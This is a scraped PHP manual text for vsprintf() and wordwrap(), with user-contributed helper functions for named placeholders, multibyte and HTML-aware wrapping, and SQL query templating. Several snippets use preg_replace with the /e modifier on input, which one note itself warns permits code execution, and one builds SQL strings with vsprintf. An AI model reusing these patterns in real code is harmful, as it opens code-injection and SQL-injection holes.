badcop666 at hotmail dot com 29-Nov-2007 02:38
For blocks of text, sprintf() is slow according to my tests.

Also, having the mapping between place-holders and the list of actual variables or datastructures often makes this code difficult to read. But the printf() family are widely supported and have a huge range of nice features. Performance is a cold mistress though!

From an ease-of-reading and maintenance, debugging point of view, I much prefer HEREDOC and "...{$variable}..." methods.

For a block of HTML markup with place holders, the fastest by far was:-

?>
<div> markup etc<?= $variable ?>more markup
<?

My tests comprised 20 runs of a loop of 1 million iterations with output buffering, ditching the buffer on each loop.

The timings ranged from average 2.1msec/million repetitions for the <?= $var ?> method up to 7.6msec/million using printf().

I'll try some benchmarking tools too, since I just wrote this myself and it could be introducing bias, but they've run on dev servers with low load.

Hopefully interesting.
tehjosh at gamingg dot net 30-Jul-2007 04:19
To toolofthesystem at gmail dot com:

You don't need to use output buffering with vprintf() because you can use vsprintf(), which has the same functionality as vprintf(), except that it returns the resulting string instead of outputting it.
toolofthesystem at gmail dot com 27-Mar-2007 05:42
This function comes useful sometimes when trying to list information returned from MySQL:

function print_sql($query,$printf){
    $sql_sql = mysql_query($query);
    while($sql = mysql_fetch_row($sql_sql)){
        vprintf($printf,$sql);
    }
}

Unfortunately, this seems to sneak its way past output buffering when I tried creating an argument to allow it to be contained in a returned string... either that or I didn't do it right.
caleb at tekhawk dot com 29-Nov-2006 11:19
i know that you can use %1$s or %3$s to select the first or third string but how can you or can you use array names to select it

something like %'user'$s $'email'$s

i tend to add things to my databases over time and this could save loads of recoding


Return a formatted string

  • « vprintf
  • wordwrap »
  • PHP Manual
  • String Functions
  • Return a formatted string

vsprintf

(PHP 4 >= 4.1.0, PHP 5)

vsprintf — Return a formatted string

Description

string vsprintf ( string $format , array $args )

Operates as sprintf() but accepts an array of arguments, rather than a variable number of arguments.

Parameters

format

See sprintf() for a description of format.

args

Return Values

Return array values as a formatted string according to format (which is described in the documentation for sprintf()).

Examples

Example #1 vsprintf(): zero-padded integers

<?php
print vsprintf("%04d-%02d-%02d", explode('-', '1988-8-1')); // 1988-08-01
?>

See Also

  • sprintf() - Return a formatted string
  • vprintf() - Output a formatted string

User Contributed Notes

dee jay simple zero07 at geemail dawt co 18-Jan-2013 02:03
Using a heredoc with vprintf:

<?php
$string = <<<THESTRING
I like the state of %1\$s <br />
I picked: %2\$d as a number, <br />
I also picked %2\$d as a number again <br />
%3\$s<br />
THESTRING;

$returnText = vprintf(  $string, array('Oregon','7','I Love Oregon')  );

echo $returnText;
?>
Josef Kufner 21-Nov-2012 08:51
<?php
/**
 * Like vsprintf, but accepts $args keys instead of order index.
 * Both numeric and strings matching /[a-zA-Z0-9_-]+/ are allowed.
 *
 * Example: vskprintf('y = %y$d, x = %x$1.1f', array('x' => 1, 'y' => 2))
 * Result:  'y = 2, x = 1.0'
 *
 * $args also can be object, then it's properties are retrieved
 * using get_object_vars().
 *
 * '%s' without argument name works fine too. Everything vsprintf() can do
 * is supported.
 *
 * @author Josef Kufner <jkufner(at)gmail.com>
 */
function vksprintf($str, $args)
{
    if (is_object($args)) {
        $args = get_object_vars($args);
    }
    $map = array_flip(array_keys($args));
    $new_str = preg_replace_callback('/(^|[^%])%([a-zA-Z0-9_-]+)\$/',
            function($m) use ($map) { return $m[1].'%'.($map[$m[2]] + 1).'$'; },
            $str);
    return vsprintf($new_str, $args);
}
?>
thomas att familie dash flori dot de 31-Oct-2012 08:46
Here is my example for named placeholders. It uses python like named placeholders except that it only allows /[a-z][a-zA-Z0-9_]/ for names.

<?php

/**
 * Returns a formatted string. Accepts named arguments.
 * @param string $format
 * @param array $args
 * @return string
 **/
function vsprintfn($format, $args) {
    // search format patterns
    preg_match_all('/((?:^|[^%])(?:%%)*)%(\([a-z][a-zA-Z0-9_]*\))?((\+|-)?(0| |\'.)?-?[0-9\.]*[bcdeEufFgGosxX])/', $format, $matches);
    // determine the order of the arguments
    $j = 0;
    $order = array();
    foreach ($matches[0] as $i => $match) {
        if ($matches[2][$i] == '') {
            $key = $j++;
        } else {
            $key = substr($matches[2][$i],1,-1);
        }
        $order[] = $key;
    }
    // prepare the data array for vsprintf in the given order
    $data = array();
    foreach ($order as $key) {
        if (isset($args[$key])) {
            $data[] = $args[$key];
        }
    }
    // replace named format patterns with default format patterns
    $format = preg_replace('/((?:^|[^%])(?:%%)*)%(\([a-z][a-zA-Z0-9_]*\))((\+|-)?(0| |\'.)?-?[0-9\.]*[bcdeEufFgGosxX])/', '$1%$3', $format);
    // return formatted string
    return vsprintf($format, $data);
}

$exampleData = array(0=>2.2314123123,'test'=>2.1234883);
echo vsprintfn('%%2.5f = %2.5f', $exampleData) . "\n";
echo vsprintfn('%%(test)09.5f = %(test)\'%9.5f', $exampleData) . "\n";

?>
strata_ranger at hotmail dot com 29-Jun-2010 08:15
Here's a simple variation on vsprintf() suitable for use with database queries where the results were retrieved as an associative array keyed by column names.

<?php

function dbsprintf($format, $fields, $row)
// $format - sprintf() compatible format string
// $row - Array containing key/value pairs of data
// $fields - Array containing key names (from $row) that are to be used as arguments
{
  // Loop through $fields and insert the corresponding values from $row
  foreach($fields as &$value)
  {
    $value = $row[$value];
  } unset($value);

  // Format the string and return
  return vsprintf($format, $fields);
}

// Some data
$row = Array('id' => '12', 'name' => 'World');

// Outputs "Hello World!"
echo dbsprintf('Hello, %s!', Array('name'), $row);
// Outputs "Hello 12!"
echo dbsprintf('Hello, %s!', Array('id'), $row);

?>
jeppe dot dyrby at gmail dot com 04-Mar-2009 01:52
Heres a new version of the vnsprintf function, i call it dsprintf, but that should matter.

<?php
function dsprintf() {
  $data = func_get_args(); // get all the arguments
  $string = array_shift($data); // the string is the first one
  if (is_array(func_get_arg(1))) { // if the second one is an array, use that
    $data = func_get_arg(1);
  }
  $used_keys = array();
  // get the matches, and feed them to our function
  $string = preg_replace('/\%\((.*?)\)(.)/e',
    'dsprintfMatch(\'$1\',\'$2\',\$data,$used_keys)',$string);
  $data = array_diff_key($data,$used_keys); // diff the data with the used_keys
  return vsprintf($string,$data); // yeah!
}

function dsprintfMatch($m1,$m2,&$data,&$used_keys) {
  if (isset($data[$m1])) { // if the key is there
    $str = $data[$m1];
    $used_keys[$m1] = $m1; // dont unset it, it can be used multiple times
    return sprintf("%".$m2,$str); // sprintf the string, so %s, or %d works like it should
  } else {
    return "%".$m2; // else, return a regular %s, or %d or whatever is used
  }
}
$str = "Hello, %(place)s, how is it hanning at %(place)s? %s works just as well";
$find = array(
  'place' => 'world',
  'sprintf',
  'not used'
);
echo dsprintf($str, $find);
// 'Hello, world, how is it hanning at world? sprintf works just as well'
?>
www dot wesley at gmail dot com 16-Jun-2008 10:56
vnsprintf is equal to vsprintf except for associative, signed or floating keys.

vnsprintf supports for example "%assocKey$05d", "%-2$'+10s" and "%3.2$05u", vsprintf doesn't

vnsprintf( '%2$d', $array) [2nd value] is equal to vsprintf( '%2$d', $array) [2nd value]
vnsprintf( '%+2$d', $array) [key = 2] is equal to vnsprintf( '%2.0$d', $array) [key = 2]
vnsprintf( '%+2$d', $array) [key = 2] is different of vsprintf( '%+2$d', $array) [unsupported]

When you use signed or floating keys, vnsprintf searchs for the signed truncated key of the original array

Note¹: vnsprintf does not support for example "%someKeyf" (floating number, key = someKey) or "%+03d" (signed decimal number, key = 3), you should use "%someKey$f" or "%+03$d" respectively.
Note²: "%+03d" (or "%1$+03d") will be interpreted as signed zero-padded decimal number

<?php
function vnsprintf( $format, array $data)
{
    preg_match_all( '/ (?<!%) % ( (?: [[:alpha:]_-][[:alnum:]_-]* | ([-+])? [0-9]+ (?(2) (?:\.[0-9]+)? | \.[0-9]+ ) ) ) \$ [-+]? \'? .? -? [0-9]* (\.[0-9]+)? \w/x', $format, $match, PREG_SET_ORDER | PREG_OFFSET_CAPTURE);
    $offset = 0;
    $keys = array_keys($data);
    foreach ( $match as &$value )
    {
        if ( ( $key = array_search( $value[1][0], $keys) ) !== FALSE || ( is_numeric( $value[1][0]) && ( $key = array_search( (int)$value[1][0], $keys) ) !== FALSE ) ) {
            $len = strlen( $value[1][0]);
            $format = substr_replace( $format, 1 + $key, $offset + $value[1][1], $len);
            $offset -= $len - strlen( $key);
        }
    }
    return vsprintf( $format, $data);
}

$examples = array(
    2.8=>'positiveFloat',    // key = 2 , 1st value
    -3=>'negativeInteger',    // key = -3 , 2nd value
    'my_name'=>'someString'    // key = my_name , 3rd value
);

echo vsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // [unsupported]
echo vnsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // output : "someString"

echo vsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // output : "negativeInteger"

echo vsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : "negativeInteger"
echo vnsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : [= vsprintf]

echo vsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // output : "negativeInteger"
?>
Roadster 01-Oct-2006 04:44
Please note: The same functionality (sortof) can be attained between version 4.0.4 and 4.1.0 using call_user_func_array.

Example:

call_user_func_array("sprintf", $arg)

First element of $arg is the format. This rescued me in a situation where version 4.1.0 wasn't available.
jon at ardentcreative dot co dot uk 17-Feb-2006 12:56
This can be used for quick and dirty internationalization:

<?php
$GLOBALS['strings']['example'] = "There are %d people.";

// Loads a phrase from the translations list in lang/$lang/phrases.php
function t() {
    $args = func_get_args();
    $nArgs = func_num_args();

    $phrase = array_shift($args);
    $nArgs--;

    include_once("../lang/" . lang() . "/phrases.php");
    if (isset($GLOBALS['strings'][$phrase])) {
        return vsprintf($GLOBALS['strings'][$phrase], $args);
    } else {
        return '<span style="color: #ff0000">Untranslated string: ' . $phrase . '</span>';
    }
}
?>
toneee at g mail dot com 19-Dec-2005 06:27
I found this function to be useful for formatting sql queries.

I do something like this:

function sql_build($template, $params = array()) {
  global $sql_templates;
  if (isset($sql_templates[$template])) {
    $sql = vsprintf($sql_templates[$template], $params);
    return $sql;
  }
  return false;
}

// Fetch list of contacts, for a given section id
$sql_templates['contacts_by_section'] = <<<ENDSQL
select
  id,
  name,
  email,
  address,
  photo_id
from
  contacts
where
  section_id = %d
ENDSQL;

You also give yourself an added layer of security on the sql due to the sprintf formatting. For example, using %d will not allow any sql injection for that parameter.
tbS dot P dot A dot M at S dot U dot K dot Staylorbarstow dot com 01-Mar-2005 08:49
Simple but useful routine:

<?php
function vsprintf_iter($fmt,$data) {
    if (!is_array($data)) return false;
    $ret = '';
    foreach ($data as $d) {
        $ret .= vsprintf($fmt,$d);
    }
    return $ret;
}
?>
jed at NOSPAM dot jed dot bz 23-May-2004 03:48
vsprintf() accepts arrays with any keys, so the array_shift() technique is unnecessary when writing a printf-type function. Any parameters you require are easily unset from the array you retrieve with func_get_args():

<?php

function mysprintf($format) {
    $args = func_get_args();
    unset($args[0]); /* get rid of "$format" */
    return vsprintf($format, $args);
}

/* I use this technique in production code as follows: */
function logf($target, $string) {
    $args = func_get_args();
    unset($args[0], $args[1]);
    fprintf($GLOBALS['config']['logtargets'][$target],
        "[%s] %s\n", date('H:i'), wordwrap(vsprintf($string, $args), 75, '\n\r '));
}

/* e.g.:
    logf(DEBUG, "Oops! %s", mysql_error());
 */

?>

array_shift() and other costly array operations aren't required, as far as I know. I could be wrong.
samviseNOSPAM at hobbitonNOSPAM dot it 02-Jul-2002 03:55
i wrote a short function that make use of vsprintf. It is useful in first coding/debugging of php scripts, because it is called like a simple printf and it display in italic (you can change it of course ;-) ) every debug messages, making it easy to remove them when your code is ready.

here goes :

<?php
function printd() {
        $debug_array=func_get_args();
        $debug_numargs=func_num_args();
        $debug_fmt=$debug_array[0];
        for ( $i = 0 ; $i < $debug_numargs ; $i++ )
                $debug_array[$i] = $debug_array[$i+1];
        $debug_text=vsprintf($debug_fmt, $debug_array);
        printf("--> debug <i>%s</i>\n",
                $debug_text);
}
?>


Wraps a string to a given number of characters

  • « vsprintf
  • Changelog »
  • PHP Manual
  • String Functions
  • Wraps a string to a given number of characters

wordwrap

(PHP 4 >= 4.0.2, PHP 5)

wordwrap — Wraps a string to a given number of characters

Description

string wordwrap ( string $str [, int $width = 75 [, string $break = "\n" [, bool $cut = false ]]] )

Wraps a string to a given number of characters using a string break character.

Parameters

str

The input string.

width

The number of characters at which the string will be wrapped.

break

The line is broken using the optional break parameter.

cut

If the cut is set to TRUE, the string is always wrapped at or before the specified width. So if you have a word that is larger than the given width, it is broken apart. (See second example).

Return Values

Returns the given string wrapped at the specified length.

Examples

Example #1 wordwrap() example

<?php
$text = "The quick brown fox jumped over the lazy dog.";
$newtext = wordwrap($text, 20, "<br />\n");

echo $newtext;
?>

The above example will output:

The quick brown fox<br />
jumped over the lazy<br />
dog.

Example #2 wordwrap() example

<?php
$text = "A very long woooooooooooord.";
$newtext = wordwrap($text, 8, "\n", true);

echo "$newtext\n";
?>

The above example will output:

A very
long
wooooooo
ooooord.

See Also

  • nl2br() - Inserts HTML line breaks before all newlines in a string
  • chunk_split() - Split a string into smaller chunks

User Contributed Notes

phil_marmotte at yahoo dot fr 13-Jun-2014 10:13
Another Word wrap from left or right :

public static function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
        if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
            if ($from=='right') {
                $m = strlen($string)%$length;
                if ($m < strlen($string))
                    $txt = substr($string,0,$m).$wrap.wordwrap(substr($string,$m),$length, $wrap, true);
                else
                    $txt = $string;
            }

            return $txt;
       }
maikuolan at gmail dot com 11-Apr-2013 03:23
(Re: kouber at php dot net).

Testing out your function, I can confirm that it works, and it works very well.

However, others that intend to use your function need to be aware that if they use it in conjunction with unverified data (such as raw user input from $_POST, $_GET, etcetera), they are creating potential attack vectors that can be exploited by hackers via script requests containing malicious code. This is because your function is using the preg_replace function in conjunction with the "e" flag (in order to allow the chunk_split bit to execute), which can allow execution of arbitrary code.

Solution: If there is any possibility that $str may contain unverified data (such as raw user input), ensure that the contents of $str is sanitized (such as by using htmlentities/htmlspecialchars/etc) prior to sending it to wrap($str,...).

Not a criticism; I intend to use your function, because I like it. However, just posting this as a note to other users that may not be aware of the importance of data sanitation.
ytwguru at gmail dot com 02-May-2012 08:01
I've seen a few solutions to the same problem.  Here's a solution to breaking long text with a space.  In this case it breaks after matching 27 characters.

$content = preg_replace("/([^\s]{27})/", "$1 ", $content);

You can probably write a function for this...
ju1ius 18-Feb-2012 12:58
Another solution to utf-8 safe wordwrap, unsing regular expressions.
Pretty good performance and works in linear time.

<?php
function utf8_wordwrap($string, $width=75, $break="\n", $cut=false)
{
  if($cut) {
    // Match anything 1 to $width chars long followed by whitespace or EOS,
    // otherwise match anything $width chars long
    $search = '/(.{1,'.$width.'})(?:\s|$)|(.{'.$width.'})/uS';
    $replace = '$1$2'.$break;
  } else {
    // Anchor the beginning of the pattern with a lookahead
    // to avoid crazy backtracking when words are longer than $width
    $pattern = '/(?=\s)(.{1,'.$width.'})(?:\s|$)/uS';
    $replace = '$1'.$break;
  }
  return preg_replace($search, $replace, $string);
}
?>
Of course don't forget to use preg_quote on the $width and $break parameters if they come from untrusted input.
paul at preinheimer dot com 26-Sep-2011 01:04
If your goal is to allow a browser to word-wrap nicely, while maintaining a fluid layout, you'll want to break with: &#8203

It's a zero width space character: http://en.wikipedia.org/wiki/Zero-width_space

This way the browser can break where it needs to, without adding a visual distraction of spaces within the text.

e.g.
<?php
//Using &#8203; here allows the browser to break the line of text, without the visual distraction.
$line = wordwrap($line, 10, "&#8203;", true);
?>

#PROTIP: leave a comment, so the next person to read your code has a clue what you've done.
info at hsdn dot org 08-Jul-2011 05:41
Wordwrap with UTF-8 supports, returns as array.

<?php

function mb_wordwrap_array($string, $width)
{
    if (($len = mb_strlen($string, 'UTF-8')) <= $width)
    {
        return array($string);
    }

    $return = array();
    $last_space = FALSE;
    $i = 0;

    do
    {
        if (mb_substr($string, $i, 1, 'UTF-8') == ' ')
        {
            $last_space = $i;
        }

        if ($i > $width)
        {
            $last_space = ($last_space == 0) ? $width : $last_space;

            $return[] = trim(mb_substr($string, 0, $last_space, 'UTF-8'));
            $string = mb_substr($string, $last_space, $len, 'UTF-8');
            $len = mb_strlen($string, 'UTF-8');
            $i = 0;
        }

        $i++;
    }
    while ($i < $len);

    $return[] = trim($string);

    return $return;
}

?>
altin_bardhi at yahoo dot co dot uk 28-Jan-2011 01:03
Here I have come out with a possibly very useful wordwrap code snippet.

Apparently what this piece of code does is: it takes the entered text and looks for words longer than the defined ‘$chunk_length’ if it finds any, it splits the long words and then it concatenates the whole string back to a new string with longer words separated by a dash character in this case.

After it has accomplished this task it then inserts an HTML line break after a specified ‘$line_length’ (Depending on your containers width requirements)

<?php

//Start function explode_ wrap
function explode_wrap($text, $chunk_length, $line_length){

//Explode all the words separated by spaces in a string
$string_chunks = explode(' ', $text);

// Get each split word from the array $sring_chunks_array => key => value
foreach ($string_chunks as $chunk => $value) {

if(strlen($value) >= $chunk_length){

//Split the chunks/words which are longer than $chunk_length
$new_string_chunks[$chunk] = chunk_split($value, $chunk_length, ' - ');

}else {

//Do not split the normal length words
$new_string_chunks[$chunk] = $value;

}

}//End foreach loop

//Concatenate back the all the words
$new_text=implode(' ', $new_string_chunks);

return wordwrap($new_text, $line_length, '<br />');

}//End function

?>
nbenitezl[arroba]gmail[dot]com 02-Dec-2010 01:56
Hi, this function is like wordwrap but it ignores html tags, it works like wordwrap when called with fourth parameter as true. It's based on a function I find here but improved to closer match the output of wordwrap (i.e. removed spaces at start of line) and also to improve performance.

Hope it can be useful for you :-)
<?php
function htmlwrap(&$str, $maxLength, $char='<br />'){
    $count = 0;
    $newStr = '';
    $openTag = false;
    $lenstr = strlen($str);
    for($i=0; $i<$lenstr; $i++){
        $newStr .= $str{$i};
        if($str{$i} == '<'){
            $openTag = true;
            continue;
        }
        if(($openTag) && ($str{$i} == '>')){
            $openTag = false;
            continue;
        }
        if(!$openTag){
            if($str{$i} == ' '){
                if ($count == 0) {
                    $newStr = substr($newStr,0, -1);
                    continue;
                } else {
                    $lastspace = $count + 1;
                }
            }
            $count++;
            if($count==$maxLength){
                if ($str{$i+1} != ' ' && $lastspace && ($lastspace < $count)) {
                    $tmp = ($count - $lastspace)* -1;
                    $newStr = substr($newStr,0, $tmp) . $char . substr($newStr,$tmp);
                    $count = $tmp * -1;
                } else {
                    $newStr .= $char;
                    $count = 0;
                }
                $lastspace = 0;
            }
        }
    }

    return $newStr;
}
?>
Ivan Lisnik 11-Jun-2010 12:26
here is my example of UTF-8 wordwrap
<?php
function wordwrap($str, $width, $break)
{
    $return = '';
    $br_width = mb_strlen($break, 'UTF-8');
    for($i = 0, $count = 0; $i < mb_strlen($str, 'UTF-8'); $i++, $count++)
    {
        if (mb_substr($str, $i, $br_width, 'UTF-8') == $break)
        {
            $count = 0;
            $return .= mb_substr($str, $i, $br_width, 'UTF-8');
            $i += $br_width - 1;
        }

        if ($count > $width)
        {
            $return .= $break;
            $count = 0;
        }

        $return .= mb_substr($str, $i, 1, 'UTF-8');
    }

    return $return;
}
?>
kouber at php dot net 27-May-2010 11:34
If you need a function to cut only words longer than N characters, feel free to use the function below:

<?php
function wrap($str, $width=75, $break="\n") {
  return preg_replace('#(\S{'.$width.',})#e', "chunk_split('$1', ".$width.", '".$break."')", $str);
}

echo wrap('aaaa bbb cc dddd-dddd', 3, ' ');
?>

The above example will output: "aaa a  bbb  cc ddd d-d ddd "
ojs-hp at web dot de 30-Oct-2009 07:06
After I got some problems with my function to convert a BB-text into HTML. Long words didn't really fit into the layout and only wordwarp() also added breaks to words which would fit into the layout or destroy the other HTML-tags....
So this is my solution. Only words with strlen() >= 40 are edited with wordwarp().

<?php
function bb2html($bb) {
        $words= explode(' ', $bb); // string to array
    foreach ($words as $word) {
        $break = 0;
        for ($i = 0; $i < strlen($word); $i++) {
            if ($break >= 40) {
                $word= wordwrap($word, 40, '-<br>', true); //add <br> every 40 chars
                $break = 0;
            }
            $break++;

        }
        $newText[] = $word; //add word to array
    }
    $bb = implode(' ', $newText); //array to string
    return $bb;
}
?>
Marcin Dobruk [zuku3000 at yahoo dot co dot uk] 15-Jun-2009 11:21
Word wrap from left to right (standard) and from right to left.

<?php
function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
    if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
    if ($from=='right') {
        // string to array
        $arr_l=array();
        for ($a=0;strlen($string)>$a;$a++) $arr_l[$a]=$string{$a};
        // reverse array
        $arr_r=array_reverse($arr_l);
        // array to string
        $string_r='';
        foreach ($arr_r as $arr_line => $arr) $string_r.=$arr;
        // add wrap to reverse string
        $string_r=wordwrap($string_r, $length, $wrap, true);
        // reverse string to array
        $arr_r=array();
        for ($a=0;strlen($string_r)>$a;$a++) $arr_r[]=$string_r{$a};
        // reverse array again
        $arr_l=array_reverse($arr_r);
        // string with wrap
        $txt='';
        foreach ($arr_l as $arr_line => $arr) $txt.=$arr;
        }
    return $txt;
    }
?>
r dot hartung at roberthartung dot de 23-Mar-2009 01:26
I was wondering about my CMS to break up code but only non-HTML code - I didn't found anything so I came up with this little solution:

<?php
function wordWrapIgnoreHTML($string, $length = 45, $wrapString = "\n")
   {
     $wrapped = '';
     $word = '';
     $html = false;
     $string = (string) $string;
     for($i=0;$i<strlen($string);$i+=1)
     {
       $char = $string[$i];

       /** HTML Begins */
       if($char === '<')
       {
         if(!empty($word))
         {
           $wrapped .= $word;
           $word = '';
         }

         $html = true;
         $wrapped .= $char;
       }

       /** HTML ends */
       elseif($char === '>')
       {
         $html = false;
         $wrapped .= $char;
       }

       /** If this is inside HTML -> append to the wrapped string */
       elseif($html)
       {
         $wrapped .= $char;
       }

       /** Whitespace characted / new line */
       elseif($char === ' ' || $char === "\t" || $char === "\n")
       {
         $wrapped .= $word.$char;
         $word = '';
       }

       /** Check chars */
       else
       {
         $word .= $char;

         if(strlen($word) > $length)
         {
           $wrapped .= $word.$wrapString;
           $word = '';
         }
       }
     }

    if($word !== ''){
        $wrapped .= $word;
    }

     return $wrapped;
   }

$str = '<a href="http://www.example.de">';
$str .= 'Test-STRRRRRRRRRRRRRRRRRRIIIIIIIIIIIIIIIIIIIIIIING</a>';
$str .= '<!-- COMMENT_INSIDE_ANOTHER';
$str .= '_LONG_STRING //-->';

echo wordWrapIgnoreHTML($str, 25, '[BREAK]');

// Output: <a href="http://www.roberthartung.de">
// Test-STRRRRRRRRRRRRRRRRRRI[BREAK]
// IIIIIIIIIIIIIIIIIIIIIING
// </a><!-- ... //-->
?>

[NOTE BY danbrown AT php DOT net: Contains a bug fix provided by (jaw AT condidact DOT dk) on 02-APR-09 to address an issue where "the last word in a non-html-wrapped string will be omitted."]
Matt at newbiewebdevelopment dot idk 04-Mar-2009 10:53
My version of multibyte wordwrap

<?php
function mb_wordwrap($string, $width=75, $break="\n", $cut = false) {
    if (!$cut) {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.',}\b#U';
    } else {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.'}#';
    }
    $string_length = mb_strlen($string,'UTF-8');
    $cut_length = ceil($string_length / $width);
    $i = 1;
    $return = '';
    while ($i < $cut_length) {
        preg_match($regexp, $string,$matches);
        $new_string = $matches[0];
        $return .= $new_string.$break;
        $string = substr($string, strlen($new_string));
        $i++;
    }
    return $return.$string;
}

$mb_string = "こんにちは";//Hello in Japanese
$cut_mb_string = mb_wordwrap($mb_string,1," ",true); //こ ん に ち は
print($cut_mb_string);
?>
php at maranelda dot org 16-Sep-2008 01:17
Anyone attempting to write a text email client should be aware of the following:

<?php

$a = "some text that must wrap nice";

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that must
//  wrap nice

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that
//  must
//  wrap
//  nice

?>

Subsequent uses of wordwrap() on already wrapped text will take the end-of-line characters into account when working out line length, thus reading each line that just fit nicely the first time around as being one character too long the second. This can be a problem when preparing a text email that contains (eg.) a forwarded email which has already been word-wrapped.

Solutions below which explode() the text on end-of-lines and wordwrap() the resulting strings separately take care of this nicely.
$del=' at '; 'sanneschaap' dot $del dot 'gmail dot com' 17-Apr-2008 10:41
These functions let you wrap strings comparing to their actual displaying width of proportional font. In this case Arial, 11px. Very handy in some cases since CSS3 is not yet completely supported. 100 strings = ~5 ms

My old sheep word wrap function (posted at the bottom of this page, is kinda old dated and this one is faster and more accurate).

<?php
//the width of the biggest char @
$fontwidth = 11;

//each chargroup has char-ords that have the same proportional displaying width
$chargroup[0] = array(64);
$chargroup[1] = array(37,87,119);
$chargroup[2] = array(65,71,77,79,81,86,89,109);
$chargroup[3] = array(38,66,67,68,72,75,78,82,83,85,88,90);
$chargroup[4] = array(35,36,43,48,49,50,51,52,53,54,55,56,57,60,61,62,63, 69,70,76,80,84,95,97,98,99,100,101,103,104,110,111,112, 113,115,117,118,120,121,122,126);
$chargroup[5] = array(74,94,107);
$chargroup[6] = array(34,40,41,42,45,96,102,114,123,125);
$chargroup[7] = array(44,46,47,58,59,91,92,93,116);
$chargroup[8] = array(33,39,73,105,106,108,124);

//how the displaying width are compared to the biggest char width
$chargroup_relwidth[0] = 1; //is char @
$chargroup_relwidth[1] = 0.909413854;
$chargroup_relwidth[2] = 0.728241563;
$chargroup_relwidth[3] = 0.637655417;
$chargroup_relwidth[4] = 0.547069272;
$chargroup_relwidth[5] = 0.456483126;
$chargroup_relwidth[6] = 0.36589698;
$chargroup_relwidth[7] = 0.275310835;
$chargroup_relwidth[8] = 0.184724689;

//build fast array
$char_relwidth = null;
for ($i=0;$i<count($chargroup);$i++){
    for ($j=0;$j<count($chargroup[$i]);$j++){
        $char_relwidth[$chargroup[$i][$j]] = $chargroup_relwidth[$i];
    }
}

//get the display width (in pixels) of a string
function get_str_width($str){
    global $fontwidth,$char_relwidth;
    $result = 0;
    for ($i=0;$i<strlen($str);$i++){
        $result += $char_relwidth[ord($str[$i])];
    }
    $result = $result * $fontwidth;
    return $result;
}

//truncates a string at a certain displaying pixel width
function truncate_str_at_width($str, $width, $trunstr='...'){
    global $fontwidth,$char_relwidth;
    $trunstr_width = get_str_width($trunstr);
    $width -= $trunstr_width;
    $width = $width/$fontwidth;
    $w = 0;
    for ($i=0;$i<strlen($str);$i++){
        $w += $char_relwidth[ord($str[$i])];
        if ($w > $width)
            break;
    }
    $result = substr($str,0,$i).$trunstr;
    return $result;
    // texas is the reason rules at 10am :)
}
?>
joachim 16-Apr-2008 11:42
There seems to be a difference between php 5.1 and 5.2 in how wordwrap counts characters (all on Mac OSX 10.5.2):

/Applications/MAMP/bin/php5/bin/php --version
PHP 5.1.6 (cli) (built: Sep  8 2006 10:25:04)

/Applications/MAMP/bin/php5/bin/php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft
(50)_UT

php --version
PHP 5.2.5 (cli) (built: Feb 20 2008 12:30:47)

php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft (50)_UT
Peter 19-Dec-2006 02:00
The main concern when you have a text in a cell is for long words that drags the cell margins. This function will break words in a text that have more then $nr characters using the "-" char.

<?php
function processtext($text,$nr=10)
    {
        $mytext=explode(" ",trim($text));
        $newtext=array();
        foreach($mytext as $k=>$txt)
        {
            if (strlen($txt)>$nr)
            {
                $txt=wordwrap($txt, $nr, "-", 1);
            }
            $newtext[]=$txt;
        }
        return implode(" ",$newtext);
    }
?>
Edward 18-Oct-2006 03:12
I needed a function to justify the text - not just wrap it. I came up with this:

<?php
function justify($text, $width, $break) {
        $marker = "__$%@random#$()__";

        // lines is an array of lines containing the word-wrapped text
        $wrapped = wordwrap($text, $width, $marker);
        $lines = explode($marker, $wrapped);

        $result = "";
        foreach ($lines as $line_index=>$line) {
                $line = trim($line);

                $words = explode(" ", $line);
                $words = array_map("trim", $words);
                $wordcount = count($words);
                $wordlength = strlen(implode("", $words));

                if (3*$wordlength < 2*$width) {
                        // don't touch lines shorter than 2/3 * width
                        continue;
                }

                $spaces = $width - $wordlength;

                $index = 0;
                do {
                        $words[$index] = $words[$index] . " ";
                        $index = ($index + 1) % ($wordcount - 1);
                        $spaces--;
                } while ($spaces>0);

                $lines[$line_index] = implode("", $words);
        }

        return implode($break, $lines);
}
?>
Dave Lozier - dave at fusionbb.com 30-Nov-2005 09:48
If you'd like to break long strings of text but avoid breaking html you may find this useful. It seems to be working for me, hope it works for you. Enjoy. :)

<?php
    function textWrap($text) {
        $new_text = '';
        $text_1 = explode('>',$text);
        $sizeof = sizeof($text_1);
        for ($i=0; $i<$sizeof; ++$i) {
            $text_2 = explode('<',$text_1[$i]);
            if (!empty($text_2[0])) {
                $new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1  ', $text_2[0]);
            }
            if (!empty($text_2[1])) {
                $new_text .= '<' . $text_2[1] . '>';
            }
        }
        return $new_text;
    }
?>
frans-jan at van-steenbeek dot R-E-M-O-V-E dot net 16-Nov-2005 03:17
